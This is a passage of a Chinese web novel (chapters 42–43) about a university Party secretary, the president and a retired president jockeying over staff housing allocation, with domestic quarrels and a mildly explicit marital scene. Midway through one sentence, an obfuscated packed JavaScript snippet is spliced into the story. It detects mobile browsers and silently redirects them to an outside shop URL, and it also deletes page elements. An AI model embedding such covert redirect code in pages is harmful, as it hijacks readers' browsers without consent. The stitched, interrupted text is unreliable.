“哦?好啊!”戈大垣脸上露出了轻松而会心的笑容,“最近和外面交流时输得不少。正好明天我约了省公安厅的张厅长要切磋几局,让他来嘛。” 望着江川满意离去的背影,戈大垣缓缓坐回椅子,再次将雪茄点燃。办公室外的校园,看似平静,但他知道,几把火过后,未来的路还很长。 42. 新房博弈 楚江大学的秋意,渐渐浓得化不开了。梧桐叶片片凋落,在地上铺了一层金黄,踩上去发出沙沙的脆响,更添几分寂寥。下班铃声响起没多久,校长周濂便闷闷不乐地关上了办公室的窗户。就在窗扇合拢的刹那,看见楼下不远处副校长江川、新任办公室主任林书锦等人正簇拥着一身运动短装的戈大垣,有说有笑地朝着体育馆方向走去。戈大垣步履生风,江川有说有笑,桂先锋殷勤地提着运动包紧随其后。 那股热烈的氛围,透过玻璃窗,无声地冲击着周濂的感官。一股难以名状的孤寂感,像冰冷的潮水般瞬间涌上心头。他原本打算直接回家,此刻却改变了主意。他需要找一个能理解他此刻心境的人吐一吐胸中的块垒。老校长吴若甫自然是最合适的人选。 吴若甫正在书房里临帖,看见周濂脸色晦暗,心中便猜到了七八分。他放下狼毫笔,让老伴万素琴多准备几个菜,说是要和周校长喝上几杯。停顿了片刻,又让万素琴给顾明远打个电话,让他也来陪陪校长。 周濂勉强笑了笑,提醒道:“吴校怎么忘了?小顾昨天去杭州参加学术会议了呀。” “哦?是吗?”吴若甫拍了拍额头,像是才想起来,但眼底深处却掠过一丝不悦。其实他还真不知道顾明远出差的事情。这吴若甫对这个女婿,既有欣赏,也有无奈,尤其顾明远表现出的那种不亲不近的疏离感,有时简直让吴若甫有些哀恨丛生。 周濂看出吴若甫的些许尴尬,连忙打圆场:“年轻人以事业为重。等明远回来,我说说他,有时间还是要多来陪陪您和万老师才对。” 吴若甫摆摆手,叹了口气,语气带着几分感慨:“罢了罢了。我们也不强求的。” 两人在书房坐定。周濂捧着微烫的茶杯,试探着轻声问道:“戈……,来拜访过您了吧?” 吴若甫轻轻吹开浮在茶汤上的几片茶叶,呷了一小口,笑容里带着一种历经世事的淡然:“人走茶凉,是常态,也是常情。现在学校百事待兴,戈书记要操心的事多如牛毛,哪有工夫顾得上我们这些已经卸下担子的老家伙哟。”放下茶盏,声音显得平和:“与其等着别人来给添茶续水,不如自斟自饮,反倒更自在痛快些。” 周濂听出这话里的练达与通透,心中反倒有些自愧弗如。本想在老领导面前保持些风度,但胸腔里淤积了数日的憋闷、委屈和不甘,最终还是冲破了堤防。他忍不住将戈大垣两个月来的种种作为一五一十地倒了出来。说到激动处,手指不自觉地拍打着扶手,发出沉闷的“笃笃”声。 “他来校,整整两个月了吧?”吴若甫忽然打断他,问了一个看似无关的问题。 周濂一愣,没明白老校长的用意:“您是说……?” “新官上任三把火,正常呢”,吴若甫目光幽幽,慢条斯理地说:“现在看来,他的几通火烧得还是很猛的嘛,冯伟免职、贾振受罚……,你得当心呢。” 周濂心里一紧:老校长厉害啊,足不出户,分晓全知。他知道吴若甫“当心”的意思,却故意问道:“您的意思?” “我是担心呀,他的这几把火带有目的性的,冯伟和贾振说起来对我们还是忠诚的嘛。” “那您的意思?” 吴若甫似乎并不急于回答,他的目光似有意似无意地扫过书架上那排厚厚的校史年鉴,转而问道:“听说,他现在和江川来往得很是密切?” 这话戳到了周濂的痛处。他趁机将江川借陪打羽毛球的事情渲染了一通,甚至忍不住感叹道:“唉,现在这风气,真是……斯文扫地啊!” “话也不能这么讲嘛。”吴若甫微微摇头:“物竞天择,适者生存。就拿江川放弃分房资格这一招,还是很高明的,至少让他占了道德高地,这为他下一步积累了不少人脉的。” 周濂有些狐疑,不明白老校长为何突然夸赞起江川来。 吴若甫又嘬了一口茶,手指在茶几面上轻轻一叩,将周濂的思绪拉了回来:“还是那句老话,识时务者为俊杰。凭我的观察,戈大垣远非老许能比,我建议你呀,收一收,以退为进,免得被人打了措手不及的。” 周濂心中有些不服气,但对老校长的智慧深信不疑。 吴若甫微垂的眼帘中露出些洞悉世事的锋芒:“就拿分房来说,戈大垣打出‘教师为本’的旗号,这是阳谋,也是高招,深得人心。在这件事上,本就是老师出身的你没有任何反对的理由,反而应该表现得比他更积极。所以,我建议你,主动去找戈大垣谈一次,至少在公开场合要和他保持高度一致。” 周濂趁机说道:“他这样一弄,搞不好我给您准备的160平有些够呛啊。” 吴若甫嘴角浮起一丝苦涩的笑:“算了算了。我这把老骨头,现在对这些已经看淡了。”嘴上这样说着,心里的恨意其实早就波光粼粼。吴若甫早就看穿了周濂对这次分房方案中的落败耿耿于怀,转而继续说道:“不过呢。他这样做,那些资历老、年龄大的老处长恐怕是要吵翻天的。” “您的意思?” “呵呵。随口一说,诸葛孔明不是借东风的嘛。”说到这里,吴若甫便戛然而止,端起茶杯,悠闲地品了起来。 周濂会意。他想起了贾振,明年就到点退休了,家里两个儿子至今窝在家里,正盼望这次分房能改善一下居住环境;还有南令陶、张三元他们,也都是指望在这次分房能够占得先机。周濂揣摩吴若甫的的意思是可以这些“老臣”的不满给戈大垣制造一些压力,至少让他推行新方案时不能那么顺风顺水。 酒过三巡后,按照吴若甫事先的暗示,万素琴瞅准时机,望着周濂直白地说道:“周校长,这次分房,我们吃亏不要紧,雅娟和明远两口子,你还是得多关照关照啊。他们现在那个一室一厅,又小又破,早就该换了。” 周濂连忙接过话头,带着几分自得说:“您和吴校长放心好了。在研究方案时,很多我都退让,唯独双职工、破格人才加分这些,我是坚持了下来的。明远和雅娟都符合条件,问题应该不大。” 吴若甫似乎对这个消息并不关心,只是淡淡地“嗯”了一声,便端起酒杯,热情地劝起酒来。 翌日一早,周濂叩响了戈大垣办公室的门。 “周校长是有事吗?”戈大垣放下手中的铅笔,表情中有些诧异。 周濂脸上堆起恰到好处的微笑说道:“这两天我在反复思考分房方案的事情,觉得你提出的‘以教师为中心’的指导思想确实还是挺科学的。” 戈大垣是了解周濂对新的分房方案的抵触情绪的。现在他居然主动表示赞赏,这多少有点出乎戈大垣的意料,脸上迅速堆起春风般和煦的笑意,起身热情地招呼周濂坐下:“周校长这么想,实在太好了。你本来就是教师出身,应该能够理解我这样做的意图。办学嘛,还是要调动教师的积极性嘛。很好呀,现在我们的想法一致,下一步推行起来就会顺畅多了。” 为了显出自己的诚意,周濂再次提出戈大垣参与分房的建议,理由是他现在的住所在汉口,离学校实在太远了。 戈大垣哈哈一笑,大手一挥,斩钉截铁地说:“君子一言,驷马难追。我也不是唱高调,是确实房子太大够住了。”说着,像是为了加强语气,手掌“啪”地一下拍在茶几上,震得茶杯盖发出一阵清脆的“叮当”声,这响声也如同重锤,敲击在周濂的心弦上。 戈大垣神色变得严肃了些:“我现在考虑的是,在方案正式公布之前,一些关键人物的思想工作还得做通。比如像吴若甫这样的退休领导,还有莫笑非那样的知名学者。如果他们能够理解和支持我们的方案,工作推进起来阻力就会小很多。” 周濂不能确定戈大垣是不是在拿话试探自己与吴若甫的关系,故意避而不答,提出了另一个建议:“我倒是觉得,这次分房的实施过程工会应该全程参与进来,这也是民主治校嘛。” 戈大垣毫不犹豫地表示赞成,随即意味深长地看了周濂一眼,“这也是我为什么要把冯伟同志调整到工会去加强工作的道理所在。”他话锋一转,目光紧紧盯住周濂:“刚才说的吴校长、莫教授这些人,你看……?” 吴若甫自己知根知底,莫笑非那边据说对分房期望极高,这两人周濂都没有见面的意愿,沉吟了片刻后委婉地说道:“这几位老同志在学校很有威望,可能你亲自去见面效果更好。” 戈大垣似乎并不介意:“那就这样吧,吴校长和莫教授那里,我亲自去拜访。周校长你呢,有时间可以多和那些年龄偏大、资格又老的处级干部们聊聊,我听说贾振、南令陶他们对新方案情绪比较大哩。你去做做他们的工作,稳定一下局面。” 周濂心中一凉:戈大垣轻飘飘的一句话,就将昨天自己和吴若甫商量的借东风的计策毁失殆尽。他不能确定,戈大垣这话是无心提起,还是意有所指?仿佛觉得自己的那点心思被人一眼看穿,周濂脸上不禁有些发热,只能略显尴尬地点头答应。至于借东风,自然不能付出实施,免得让戈大垣认为自己在策反那些人。 说做就做。戈大垣吩咐桂先锋联系老校长吴若甫告知登门拜访的事情。新官到任后,第一时间拜访退休老领导几乎是官场不言自明的惯例。老江湖的戈大垣并非不懂这个规矩。之所以刻意冷落吴若甫两个月,一方面是要显出自己的主见和权威,另一方面也是试探这位老校长的城府和涵养。 没过多久,桂先锋满面愁容地过来汇报:吴若甫身体不适,需要静养,暂不方便见客。 戈大垣嘴角泛起一丝冷笑,当即起身,斩钉截铁地说:“越是这样,越要前去看望。走,现在就直接过去。” 桂先锋捧着准备好的礼盒刚要上前叩门,却被戈大垣抬手制止。他站在门前,仔细地整理了一下自己的西装领口和一丝不乱的头发,将脸上公安局长特有的锐利和威严收敛起来,换上了一副谦逊而又不失沉稳的神态。 吴若甫正在阳台上侍弄着他那几盆珍爱的君子兰。听到敲门声和桂先锋的声音,心中一惊,手中的水壶险些掉在地上。他身形一晃,以与他年龄不相符的敏捷迅速闪进卧室,躺到了床上拉过被子盖好,这才让老伴万素琴开门。 当万素琴搀扶着“病体恹恹”的吴若甫从卧室里慢慢走出来时,吴若甫还故意虚弱地咳嗽了两声,脸上带着歉意,声音略显沙哑:“哎呀,真是难为情啊,戈书记公务如此繁忙,还劳烦亲自上门来看我这个老朽,实在是过意不去,过意不去啊!” 戈大垣连忙双手扶住吴若甫,态度诚恳恭敬:“吴校长,您千万别说这话。应该是我向您检讨才对呀。工作千头万绪,一直拖到现在登门求教,实在不好意思 啊。” 桂先锋在一旁心领神会,顺势将责任全部揽到自己身上,又将戈大垣这两个月如何废寝忘食、夙夜在公的样子在老校长面前绘声绘色描绘了一通。 吴若甫语气显得十分感动:“戈书记这是强烈的事业心和责任感,令人佩服,佩服啊。” 一番虚虚实实、热情洋溢的寒暄过后,话题不可避免地转向了当前全校瞩目的分房问题。 “听说这次分房,戈书记亲自定了‘教师优先’的基调。这步棋,落得妙啊。”吴若甫翘起大拇指,言辞恳切听起来是情真意切的赞赏:“这是正本清源、固本培元的决断,有利于学校的长期发展。好!” 戈大垣语带歉意:“今天我也是特意来请老领导理解和谅解的。按照这个新方案,行政人员,特别是像您这样为学校发展立下汗马功劳的老领导,可能会吃点亏。不瞒您说,原本我是想,无论如何要给老领导您争取一套160平的房子,现在看来,恐怕只能确保您优先选一套140平的最好楼层和户型了。” 桂先锋赶忙插话:“吴校长,不瞒您说,来之前戈书记亲自交代孟超副校长要确保您能难道最好的那套140平。” 这个适时的马屁让两位领导的脸上都溢出了愉悦的喜色。倒是一直在一旁侧耳倾听的万素琴脸上明显露出了失望,忍不住低声嘀咕了一句:“啊?怎么这样呀……。” 桂先锋见状,悄悄把万素琴拉进里屋,安慰她等房子分好后会免费给她家安装卫生间扶手、报警器等适老设备。万素琴这才转嗔为喜。 谈完房子的事情后,吴若甫本以为戈大垣会就治校理政的事情好好求教自己一番,没想到,戈大垣只虚飘着说了些客套话,就在桂先锋的“急迫”催促下,赶回去参加一个并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904243|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在的会议。 戈大垣的脚步声在楼道消失后,吴若甫脸上堆砌的笑容便瞬间收敛了。他缓缓踱回客厅,目光落在了茶几上那杯戈大垣未曾动过、尚有余温的茶上。袅袅升起的热气中,他仿佛又看到了戈大垣那张看似谦逊温和、实则暗藏锋芒的脸。 “啪!”吴若甫重重地将自己手中的茶杯撂在茶几上,一声脆响,茶水溅出,光洁的桌面上洇开一片深色的、难看的水迹。直到这时,吴若甫才惊觉,自己酝酿了整整两个月、准备在会面时从容道出的诸多“治校方略”以及对女婿顾明远前途的铺垫托付,竟然连一个字都没能找到机会说出口。整个会谈的节奏和话题,始终被戈大垣牢牢掌控着。 “好一个戈大垣啊……”,望着窗外风中飘飞的落叶,吴若甫第一次有了挫败的感觉,对戈大垣莫名地多了一种后生可畏的无奈。他踱到书桌前,忽然觉得胸口一阵发闷,转身走进书房,映入眼帘的是书桌上那本摊开的《资治通鉴》,旁边还有他昨晚用朱笔写下的批注:善战者,致人而不致于人。此刻,这行字在他眼中,显得如此刺眼和可笑。 听说这次工会要全程参与新房的分配,出差回来后,顾明远马不停蹄来到了偏居校园西角的那栋爬满了常春藤的老旧平房——工会办公室。 远远地,看见冯伟正懒洋洋地、有一下没一下地修剪着一盆蔫头耷脑的绿萝。 “冯主席好雅兴啊。”顾明远远远地打起招呼,快到近前时,故意压低声调,带着几分调侃:“这闲云野鹤的日子,真是羡煞我们这些还在为五斗米折腰的俗人了。” 冯伟手中的剪刀“咔”地一声剪断了一根枯枝。抬起头,眼角皱纹里藏着一丝讥诮:“顾大教授,你就别在这里酸溜溜的啦。我这儿是‘门前冷落鞍马稀’,清水衙门,哪比得上你们年轻人,前程似锦,风光无限。”他甩了甩剪刀上沾着的植物汁液,语气懒散地问道:“你这是路过呀,还是来访?要不进来喝杯茶?” 顾明远信步走进光线略显昏暗的办公室。趁着冯伟起身去泡茶的工夫,他假装随意地拿起桌上摊着的一份文件,正是《楚江大学教职工住房分配实施方案(讨论稿)》。冯伟瞥了他一眼,也没阻拦,将一杯泡得浓酽的茶递到他手中,语气带着几分自嘲和试探:“老弟,你这次可是分房的大赢家啊。我瞅着这方案里有些条款,简直像是为你量身定做的。” 顾明远心里“咯噔”一下,顿时热了起来,赶紧凑近追问:“冯主任,哦不,冯主席,这话怎么说?” 冯伟却卖起了关子,伸手将那份方案合上,脸上露出一种讳莫如深的表情:“戈书记可是三令五申,纪律严明,谁要是提前泄露方案内容,可是要免职查办的。我冯伟已经栽跟头了,可不想在同一条河里呛两次水哦。”他拍了拍顾明远的肩膀:“你就把心放回肚子里,等着惊喜吧。” 房子对顾明远来说是当前天大的事。被冯伟这么一撩拨,他简直有些心花怒放不能自已,当即提出请冯伟去校外最好的酒楼喝酒。冯伟抬腕看了看手表,爽快地答应下来。 路过体育馆时,里面正传来阵阵喝彩声。透过巨大的玻璃幕墙,可以清晰地看到戈大垣和桂先锋等人正在场上辗转腾挪的身影。顾明远故意用激将法的语气说:“冯主席,敢不敢进去瞧瞧你老东家现在的英姿勃发?” 冯伟嗤笑一声,带着几分酒脱后的无所谓:“我操,又不是什么皇家禁地,有什么不敢的?走!” 刚走上体育馆看台,迎面遇见了基建处处长助理钟德君,三人找了个不太显眼的位置坐了下来。 刚一坐下,钟德君不无醋意地撇着嘴发起了牢骚:“来得正好,让你们开开眼界,什么叫真正的‘马屁球’。” 冯伟对羽毛球一窍不通,好奇地问:“‘马屁球’?什么意思?” 钟德君指着场内:“看见没?桂先锋这个起跳扣杀是故意下网的,”正在这时,场地旁边传来一阵喝彩,钟德君“嗛”了一声:“书记这个网前球很容易接的,桂先锋硬是扑出了场外……,主席,现在懂了吧,你的继任者为什么把你挤下来了。” 顾明远生怕钟德君的话勾起冯伟内心的痛处,伸出手悄悄点了点他的后腰。 也许是受了钟德君的刺激,冯伟有些索然无味郁郁寡欢,起身要走,却被钟德君一把拉住:“冯主席,别急着走啊。现在是19比19,关键分了。敢不敢打赌?我赌桂先锋‘失误’再给书记送上两分,完美收官。” 冯伟和顾明远将信将疑。果然,在一阵阵加油声中,桂先锋一个看似拼尽全力的倒地救球“遗憾”地被网带弹回来,一个挑高的底线球飞出了界外,戈大垣一方轻松赢得了比赛。 冯伟忍不住朝钟德君竖起了大拇指:“老钟,你真是火眼金睛。服了。正好顾教授今天请客,借花献佛,一起喝酒去吧。” 这正是钟德君求之不得的事情,回到办公室顺来两瓶茅台,说是“入股”,其实也是显摆。 戈大垣交代的任务必须有个态度。按照惯例,这个周末是贾振做东在家做局宴请。暮色渐沉,华灯初上。周濂拎着两瓶上好的“古井贡”酒踏进了贾振家。南令陶及几位老处长已经早到,正围着桌子搓麻将。 校长进屋,众人停下手中活计。南令陶和周濂是师兄弟的关系,说起话来没有遮拦,开始对分房方案臧否起来。他这头一开,客厅里顿时炸开了锅。当有人主张向上反映把事情闹大时,原本也有此意的周濂大惊失色,方知戈大垣“以毒攻毒”计策的厉害。贾振更是情绪亢奋:“要不行让那个石凤芝出头闹一闹,让这个不把我们这些老家伙放在眼里的人知道楚江大学还是有狠人的。” “够啦”,周濂听罢,脸色大变:“你们还有点处长的样子嘛?千不满万不满可以拿到桌面上来说嘛。竟然还想拉上石凤芝。石凤芝什么人你们不知道哇?小心别搬起石头打自己的脚喽。我可不是吓唬你们,真要闹出大动静来,谁也保不住你们。各人问问自己,乌纱帽还想不想要了?行啦,今天这个酒局味道不对,我不参加啦。” 看着校长作势准备离开,众人一下子慌了神,纷纷起身将周濂围住,在表态说“不闹”后,周濂才缓缓神色坐了下来。 43. 进退之间 早春二月,寒意尚未褪尽。校园里法国梧桐光秃的枝桠上刚刚冒出些绒绒的嫩芽,空气里弥漫着泥土解冻后特有的清新气息。对于顾明远而言,这个早春更带着一种前所未有的暖意。由于双职工身份以及破格晋升副教授的加分,他在新一轮的住房分配中,如愿分得了一套一百平方米的三室一厅。在同龄人中,享受如此待遇的,除了他,仅有肖志阳与史珍香二人。 拿到钥匙的当天下午,他便与妻子吴雅娟迫不及待地前往新房察看。打开房门,一股浓烈的油漆气味扑面而来,但在他们闻来,这却是世上最令人心旷神怡的味道。 他们一间间屋子看过去,推开主卧房门时,南向的整面落地窗将融融的阳光毫无保留地迎入,室内一片明亮通透,视野开阔得让人的心胸也跟着舒展起来。或许是被这崭新的环境、这触手可及的希望所感染,长期笼罩在夫妻间的冷战阴霾,似乎也被这满室的阳光驱散了几分。两人不约而同地相视一笑,吴雅娟的眼角流露出一丝早已陌生的柔和,顾明远心中一动,一股热流涌上,他伸出手将妻子轻轻揽入怀中。吴雅娟没有像往常那样抗拒或冷淡,反而顺从地依偎过来。激动之下,顾明远有些忘情,两人顺势倒在了尚未打扫、蒙着薄灰的地板上……。 情感的闸门一旦打开,便难以遏制。情热如火之际,吴雅娟忽然发出一声短促的轻呼,目光惊恐地望向客厅方向。顾明远循着她的视线看去,心中也是一凛——方才进门时过于兴奋,客厅的大门竟未完全关拢,留着一条缝隙。然而,此刻他血脉贲张,箭在弦上,哪还顾得了这许多?只是含糊地安慰了一句,便又沉浸在那久违的亲密与宣泄之中。 风暴过后,两人靠在冰冷的墙壁上喘息。吴雅娟罕见地没有立刻起身整理衣物,而是将头轻轻靠在顾明远的肩头,这细微的亲昵举动,让顾明远心头泛起一丝暖意,甚至萌生了趁此机会将一直在胸中酝酿的接父亲过来提出来的念头。正欲开口,吴雅娟却抢先一步,语气中带着明显的得意,说道:“怎么样?现在知道听你老婆的没错了吧?” 顾明远一时没反应过来,面露疑惑。 吴雅娟愈发得意,用手指戳了戳他的胸口:“哼,要不是我前两年天天催着你、逼着你去争取那个‘拔尖人才’,最后破格评上副教授,光靠你那点教龄,这100平的房子,轮得到咱们?” 这话像一盆冷水浇在顾明远的头上,心头那点刚刚升腾起的温情瞬间熄灭。他不动声色地将身体挪开一些,与吴雅娟拉开了距离。吴雅娟浑然未觉,依旧以规划者的姿态指点道:“尝到甜头了吧?接下来,咱们得更上心些,除了职称,副处长、处长的位子都得去争取,将来更大的房子、更高的待遇自然会一串一串地跟来。” 顾明远顿时索然无味,借口大门未关,起身默默地走到客厅,将那扇虚掩的门彻底合上,也仿佛关上了刚刚短暂开启的、通往融洽的心门。 搬进新房过后几天,钟德君拎着一个纸箱上门来访。顾明远知道这类东西多半是钟德君利用基建处助理的职务之便得来的,便半开玩笑地问道:“钟助理不会是借花献佛吧?” 钟德君也不避嫌,压低声音说道:“刘芳的公司赠送了十台,哥们我第一时间就想着你了。好东西,咱们肥水不流别人田。”一边说着,一边利索地拆开包装,里面是一台崭新的空气净化器。 吴雅娟向来对这个妹夫有些看不上眼,见到“礼物”的那一刻,脸上马上多云转晴:“这个好,实用。新房子正好需要除除甲醛味儿。”说罢,转身去厨房给钟德君沏茶。 趁这间隙,钟德君用力拍了拍顾明远的肩膀,语气夸张地感叹道:“嗨,现在都说你小子是走了狗屎运了。娶的是校长千金,年纪轻轻破格副教授,现在又分得这么大一套房子。真是……人比人,气死人啊!” 吴雅娟端着茶杯正好走出来,心中有些得意,瞥了顾明远一眼说道:“可是有些人还身在福中不知福呢。”将茶递给钟德君后继续说道:“不过你也不差,靠着双职工,你和雅洁不也分了套80平的?这比你们同时来的卞同峰、王垚这些没结婚的,强多啦。我劝你就知足吧,好好跟我们雅洁过日子,比什么都强。” 这话似乎戳中了钟德君的痛处。最近今天,他和老婆吴雅洁又打起了冷战,已经今天都没打上照面了。看见钟德君的神色沉郁了几分。顾明远心里猜到了几分,赶紧推着他出门。 刚走到电梯口,钟德君就诉起苦来,说上个礼拜搬家时又和吴雅洁大吵了一架。 “不消说,问题肯定出在你这边。我可是一直提醒你,收敛点!”顾明远沉下脸:“你这么热衷仕途,难道就不怕被人抓到把柄,那不是小不忍乱大谋的吗?” 钟德君满不在乎地摆摆手:“去他妈的仕途,现在也就是个助理而已。老子要不是看在刚分了这套房子的份上……哼,离就离,谁怕谁呀?” 没想到吴雅娟一直站在虚掩的房门后听着外面的动静。听到钟德君这话,她猛地拉开门,重重地跺了一下脚,冲着顾明远喊道:“还不快回来。” 刚进门,吴雅娟就甩过来一个冷脸:“以后少跟他来往。这人狗改不了吃屎!” 顾明远有些无奈:“那你刚才不还高高兴兴收人家礼物?” “那是两码事。”吴雅娟怒气未消:“东西是东西,人是人。你看他整天花天酒地,死性不改,我要是雅洁,早跟他一刀两断了!” 顾明远试图缓和一下气氛:“唉,他们俩要是有个孩子,也许就不至于闹成这样了。” “那怪谁?”吴雅娟从鼻孔里哼出一声冷笑,带着一种居高临下的轻蔑:“我看啊,十有八九是他钟德君的问题。你们这些从乡下出来的,生活习惯不好,坏毛病多得很,说不定身体早就搞坏了。” 这句话像一根尖锐的针刺激怒了顾明远,他目光灼灼地盯住吴雅娟:“你一口一个‘乡下人’,有完没完?乡下来的怎么了?没有面朝黄土背朝天的农民辛苦种地,你每天吃的大米白面从哪里来?你爸当年不也是从乡下考出来的?我告诉你,往上数三代,谁家祖宗不是农民出身?别总是戴着有色眼镜看人好不好?” 顾明远罕见的疾言厉色有些镇住了吴雅娟。她气得脸色发白,一时找不到合适的话反驳,干脆摔门出去,径直回了娘家。 下班时,岳母万素琴打来电话,说是老爷子想和他聊聊。顾明远心里是一百个不情愿。刚刚吵完架,此刻召见,无非就是再来一场旁敲侧击的“教育”。 碍于情面,从幼儿园接回女儿安安后,父女二人一起来到了吴家。 出乎意料的是,吴若甫并未直接提及他们夫妻吵架的事,反而主动将话题引到了顾明远父亲身上。吴若甫端着茶杯,语气平和甚至称得上体贴地说道:“现在房子宽敞了,可以考虑把你父亲从乡下接过来照顾嘛。老人年纪大了,一个人在乡下,总归让人不放心。” 这番话让顾明远很是感动。他忖度岳父应该还不知道他们夫妻二人吵架的事情,便有意说道:“就不知道雅娟是什么想法。” 吴若甫当即答应去做女儿的工作。晚饭时,吴若甫刚一提出建议,万素琴干咳一声后说道:“农村住惯了的老人,到城里来,人生地不熟的,怕是反而受罪哟。” 吴雅娟就挖了顾明远一眼,筷子往碗上一搁,硬邦邦地甩出两个字“不行”,随即起身离席,进了卧室,将门关得山响。 只有顾安然欢呼雀跃地拍着小手:“好耶,好耶,要见爷爷罗。” 吴若甫有些生气,瞪了老伴一眼:“那么简直不像话。明远他们现在是三室一厅,我们这边四室一厅也宽敞得很,足够住人的嘛。”说罢,看着顾明远说道:“这事我来做主,你尽管将你父亲接来。” 顾明远知道,只要吴若甫强力支持,万素琴母女最终大抵是会妥协。舍不得手机话费,将女儿送回家后,匆匆赶到教研室给父亲顾有余打去了电话。 听完儿子的提议后,顾有余几乎连一秒钟的犹豫都没有,直接给予了斩钉截铁的回绝,理由是自己在农村自在得很受不了城里的约束。 顾明远不想放弃,顾有余一点没有回旋的余地,反而在电话里气咻咻地提到了另一件事情:“你先别管我。我问你,还记得汪家湾那个二苕汪清早不?就是小时候冬天老是挂着两串鼻涕的那个?” 顾明远在记忆里搜索了片刻,有些模糊的印象:“是不是……当年好像还想娶二姐的那个?” “就是他!”顾有余在电话那头几乎要咬牙切齿起来:“这个癞蛤蟆。他上个礼拜把你二姐给拐到武汉去了。” 顾明远大吃一惊。去年年底,方姨重新返回吴家后,二姐顾小满放心不下家里的两个孩子,执意返回了农村老家,这才几个月的工夫,怎么又悄悄回到了武汉呢。经过一番打听,原来,这个汪清早这几年在武汉承包工程搞出了些名堂,便自己成立了公司准备大干一场。在招兵买马的时候,他第一个想到年轻时求之不得的顾小满。在一番蛊惑下,顾小满几乎没怎么犹豫,收拾行李就跟着他来了武汉。 顾明远心中忐忑,赶紧设法联系上了二姐顾小满。电话接通,刚把父亲的担忧说出口,顾小满爽朗甚至带着几分豪气的笑声就传了过来:“哎哟,亏你还是大学教授,怎么思想也这么封建了?”她坦然告诉顾明远,三年前来武汉照顾安安的那段日子,自己就已经萌生了外出闯荡的念头,这次汪清早回来招工不过是提供了一个契机而已。说到这里,顾小满的语气带着一股不服输的劲头:“你不是常说你二姐我脑子活络是块做生意的料吗?我现在出来见见世面,说不定过几年就真的当老板呢。” 顾明远对二姐的能力和魄力从不怀疑,主要担心的二姐被汪清早欺骗。 顾小满在电话里嗤笑一声:“你和爸放心吧,就他那个智商还能骗了我?你二姐我心里有数着呢。” 听到二姐如此自信笃定的语气,顾明远悬着的心才渐渐放了下来。回到家里,当顾明远将父亲拒绝来汉的消息告诉吴雅娟时,吴雅娟的脸上立刻漾起了晴云,主动帮他脱了外套。 新房如一方被阳光浸透的容器,盛满了崭新的光阴。自从搬进这敞亮的居所,顾明远觉得连呼吸都变得深长而润泽。那股新鲜的活力,并非汹涌而至,而是如同春日解冻的溪流,悄无声息地浸润着他的四肢百骸,连最微末的神经末梢,都仿佛从长久的蜷缩中舒展开来。 生活的疆域豁然开朗,思维的天地也随之明媚阳光。书房成了他与思想对弈的最佳战场。思绪不再是断线的珠子,而是连成了奔涌的江河,不到一周,两篇沉甸甸的论文便从这能量的漩涡中诞生。这份从容与活力也漫溢到了三尺讲台之上,声音洪亮而笃定、眼神清亮而飞扬、板书遒劲而洒脱,就连班上那几个坐不住的学生,也被他那妙趣横生、鞭辟入里的讲解牢牢吸引。 新房仿佛不仅仅安放了他的身体,更妥帖地安放了他的灵魂。他在这里备课、沉思、书写,每一个日子都像被仔细擦拭过的玻璃,明亮、充实,映照出一个找到节奏和力量的自己。 周六的早晨,顾明远拒绝了吴雅娟逛街的请求,径直赶往省图书馆,那里今天有一场重量级的学术论坛,主讲人是史学界鼎鼎大名的两位学者:一位是来自北京、专攻宋史的车曦照教授,另一位则是楚江大学本土的魏晋史专家莫笑非教授。主持论坛的便是林城外先生。尤其是车曦照,顾明远倾慕已久,自然不愿错过这难得的机会。 顾明远提前一个小时到达。即便如此,省图书馆高大的回廊柱前,早已排起了长队。按照预约的时间,他只领到一张47号的入场券。 进入大厅,看见时间尚早,顾明远从橡木书架上取下一本《苏轼文集选编》,正读到《赤壁赋》旁的朱笔眉批处,忽然感到肩头被人轻轻拍了一下。他转过身,顿时惊喜得连手中的钢笔都滑落到了地上。 身后站着的,竟是林思齐。她穿着一件素雅的改良旗袍,外面罩着白大褂,丹凤眼微微弯起,嘴角噙着一抹狡黠而灵动的笑意:“顾老师,你可别告诉我,也是来赶这场学术时髦的吧?” 清晨的阳光透过图书馆高大的玻璃窗,在她周身勾勒出一圈柔和的金色光晕,连她耳后散落的几缕碎发,也仿佛变成了透明的蝉翼。 顾明远觉得舌尖有些发涩,原本想说几句俏皮话,此刻像被蒸发了一样,脑子只有一片空白和手足无措的欢喜。这样失控的情形并非第一次发生,让顾明远既有些懊恼,又隐秘地感到愉悦,仿佛胸腔里养了一尾活泼的鱼,每次见到她,都要不安分地扑腾起细碎的水花。 幸好,林思齐手中那本《全宋词精选》挽救了他。顾明远指着书本问道:“林医生也对宋词有兴趣?”话刚出口,又觉得有些多余,毕竟在林家已经领教过她对诗词的深谙。 “怎么,顾老师的意思是,一个医生喜欢宋词就是‘不务正业’或者‘附庸风雅’啦?” 顾明远稳住阵脚,也想借机显摆一下:“林医生这话倒让我想起古人说的‘医者意也,意之所至,药之所至’这句话。你家学渊源,林老先生更是学养深厚,有这样的意趣实在再正常不过。我倒是担心,您这样的业余爱好太过精深,反倒让我们这些以专业吃饭的人感到无地自容了。” 两人交谈正欢,检票入场的广播响了起来。林思齐的座位是前排9号,顾明远远远望着她那脖颈修长、线条清晰的背影,莫名有些失落的感觉。正在怅然,林思齐起身走了过来,在和顾明远旁边的女子耳语了几句后,那女子欣然和她调换了座位。看见顾明远有些不知所措,林思齐丹凤眼里含着三分笑意七分狡黠,低声说道:“顾老师,不介意我换座位吧?主要是想着,待会儿若是听到不解之处,方便就近向你请教。” 顾明远心中暗喜,这正是他所暗自期盼的。 主持人林城外教授率先登台。他身着深色中山装,举止从容淡定,浑身都仿佛萦绕着一缕若有若无的书卷墨香 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对谈开始后,局势的发展果然不出顾明远所料。几个回合下来,莫笑非便渐渐落了下风。与车曦照的气定神闲、引经据典相比,莫笑非显得有些心浮气躁,根底不牢。好在主持人林城外串联奇妙,尽力弥合两位主讲人的差距,使得对谈得以继续进行。 